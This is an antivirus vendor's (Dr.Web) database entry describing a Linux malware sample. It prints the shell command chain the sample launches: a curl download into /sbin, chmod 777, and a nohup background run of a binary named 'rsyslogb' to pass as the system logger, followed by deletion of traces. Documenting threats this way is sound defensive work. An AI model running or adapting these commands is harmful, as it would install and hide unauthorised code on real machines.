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Added to the Dr.Web virus database: 2020-03-01

Virus description added:

Technical Information

Malicious functions:
Removes the following system files:
  • /sbin/x
Launches processes:
  • sh -c cd /sbin; rm -rf rsyslogb; curl -O &> x; chmod 777 rsyslogb; sed -i 's/\r//' rsyslogb; nohup sh -c '/sbin/rsyslogb -i /var/run/ -c 5 &>/dev/null &' &>/dev/null &> x; curl &> x; rm -rf x; cd;
  • rm -rf rsyslogb
  • chmod 777 rsyslogb
  • sed -i s/\r// rsyslogb
  • nohup sh -c /sbin/rsyslogb -i /var/run/ -c 5 &>/dev/null &
  • rm -rf x
  • sh -c /sbin/rsyslogb -i /var/run/ -c 5 &>/dev/null &
Performs operations with the file system:
Creates or modifies files:
  • /sbin/x
Deletes files:
  • /sbin/rsyslogb

Curing recommendations


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